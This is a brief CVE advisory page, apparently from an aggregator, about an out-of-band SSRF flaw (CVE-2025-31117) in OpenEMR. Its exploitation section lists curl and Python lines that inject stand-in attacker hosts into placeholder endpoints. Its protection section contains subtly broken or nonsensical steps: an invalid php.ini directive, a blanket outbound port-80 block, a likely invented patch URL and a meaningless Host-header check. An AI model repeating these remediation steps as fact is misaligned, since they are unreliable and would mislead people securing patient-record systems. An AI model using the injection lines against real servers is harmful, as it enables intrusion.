How CVE-2025-31117 Works
The CVE-2025-31117 vulnerability in OpenEMR (version <7.0.3.1) allows an attacker to perform Out-of-Band Server-Side Request Forgery (OOB SSRF) by injecting malicious URLs into vulnerable endpoints. The application fails to validate user-supplied input, enabling attackers to force the server to send HTTP/DNS requests to attacker-controlled domains. Unlike traditional SSRF, OOB SSRF relies on external interactions (e.g., DNS lookups or delayed HTTP callbacks) to confirm exploitation. Attackers can abuse this to scan internal networks, exfiltrate data via DNS tunneling, or trigger secondary attacks on internal services.
DailyCVE Form
Platform: OpenEMR
Version: <7.0.3.1
Vulnerability: OOB SSRF
Severity: Medium
Date: 04/30/2025
What Undercode Say:
Exploitation
1. Identify vulnerable endpoints:
curl -X POST 'http://target/openemr/endpoint' -d 'url=http://attacker.com'
2. DNS exfiltration:
curl 'http://target/openemr/api?server=attacker.example.com'
3. HTTP callback detection:
import requests
payload = {"param": "http://burpcollaborator.net"}
requests.post("http://target/openemr/vuln_endpoint", data=payload)
Protection
1. Input validation:
if (!filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)) {
die("Invalid URL");
}
2. Network hardening:
iptables -A OUTPUT -p tcp --dport 80 -j DROP
3. Patch upgrade:
wget https://open-emr.org/updates/7.0.3.1.zip
4. Log monitoring:
tail -f /var/log/apache2/access.log | grep "external_domain"
5. WAF rule:
location /openemr {
if ($args ~ "http://") { return 403; }
}
6. Disable risky protocols:
echo "AllowUrlInclude Off" >> /etc/php/8.2/apache2/php.ini
7. Exploit detection:
if "DNS" in request.headers.get("Host"):
block_request()
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
